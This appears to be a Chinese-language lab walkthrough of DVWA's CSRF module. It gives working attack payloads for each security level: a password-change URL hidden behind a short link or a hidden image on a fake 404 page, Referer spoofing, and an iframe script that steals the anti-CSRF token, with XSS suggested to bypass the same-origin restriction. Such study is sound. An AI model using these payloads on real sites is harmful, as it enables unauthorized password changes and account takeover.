DVWA-2.0 Cross Site Request Forgery (CSRF)
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
Low
$pass_new == $pass_conf
访问http://test/DVWA-2.0/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,就可以修改密码。

这种链接对用户来说太明显了,一般是生成短网址,例如去百度短网址:https://dwz.cn/console/operation。
CSRF最关键的是利用受害者的cookie(可能保存了用户名、用户验证等)向服务器发送伪造请求。
用户点击了生成的短链接,会有提示"密码修改成功",用户会怀疑。
为了避免怀疑,一般要另外构造页面,页面里有img,img链接为csrf链接,如:
<img src="http://test/DVWA-2.0/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

这样就在不知不觉中修改了用户密码。
medium
medium级别过了HTTP_REFERER,这种情况下我们可以修改页面名、在bs里修改REFERER等方法。


high
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
这时如果要让用户提交,就需要获取到token:
<script type="text/javascript">function attack(){document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit(); }
</script>
<iframe src="http://test/DVWA-2.0/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()"><form method="GET" id="transfer" action="http://test/DVWA-2.0/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"><input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"></form>
</body>
可惜在现实中,一般用户访问的域名和攻击脚本的域名不一样,浏览器就会限制访问用户域名下的user_token,所以要通过xss来把攻击脚本植入用户访问的站点下,从而绕过跨域限制,获得user_token。
impossible
要求用户输入原始密码,就是这么简单。
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
